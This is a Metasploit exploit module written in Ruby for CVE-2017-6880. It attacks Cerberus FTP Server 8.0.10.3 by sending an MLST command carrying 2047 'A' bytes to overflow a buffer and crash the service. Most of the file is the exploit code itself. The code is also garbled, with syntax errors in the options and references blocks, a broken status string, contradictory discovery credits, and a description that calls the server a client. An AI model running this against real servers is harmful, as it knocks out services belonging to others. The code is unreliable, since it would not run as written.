#!/usr/share/ruby

#[+] Title: Cerberus FTP Server 8.0.10.3 a 'MLST' Remote Buffer Overflow
#[+] Credits / Discovery: Nassim Asrir
#[+] Author Contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
#[+] Metasploit Module Author : Souhardya Sardar
#[+] Metasploit Module Author Contact: github.com/Souhardya | Souhardya.sardar@protonmail.com
#[+] Author Company: Henceforth
#[+] CVE: CVE-2017-6880

#Vendor:
#===============
#
#https://www.cerberusftp.com/
 
 
#Download:
#===========
#
#https://www.cerberusftp.com/files/CerberusInstall.exe (32-Bit)
 
 
#Vulnerability Type:
#===================
#
#Remote Buffer Overflow.

# ----------------------------
# Module Dependencies/requires
# ----------------------------

require 'msf/core'

# ----------------------------------
# Metasploit Class name and includes
# ----------------------------------

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking
 
 include Msf::Exploit::Remote::Ftp

# -----------------------------------------
# Initialize information
# -----------------------------------------
 
 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Cerber FTP Remote Buffer Overflow ',
 'Description' => %q{
 This module exploits a buffer overflow in the Cerber FTP client that is triggered
 by sending a bad char "A" in the command "MLST" (2047) .
 },
 
 'Author' =>
 [
 'Module Author And Bug Discovered by : Peter Baris',
 'Coded by : Souhardya Sardar (github.com/Souhardya)', #metasploit module :)
 'Thanks to : Nidhish Pandya ', #auditing:)
 
 
 ],
 'License' => NONE,
 'Platform' => ['win']
 
 'References' =>
 [
 [ 'CVE', 'CVE-2017-6880' ],
 [ Reference code taken from original POC located here :- https://www.exploit-db.com/exploits/41620/ ]
 
 ]))
 
 register_optionsOptPort.new('SRVPORT', [true, "The remote FTP server port", 21])
 ], self.class)
 deregister_options('FTPUSER', 'FTPPASS')
 end

 def exploit
 connect
 
 payload = "A"*2047
 
 print_status("Trying to connect to target server {target.name...")

 
 sock.put('MLST ' + payload + '\r\n')
 
 handler
 disconnect
 end
 
end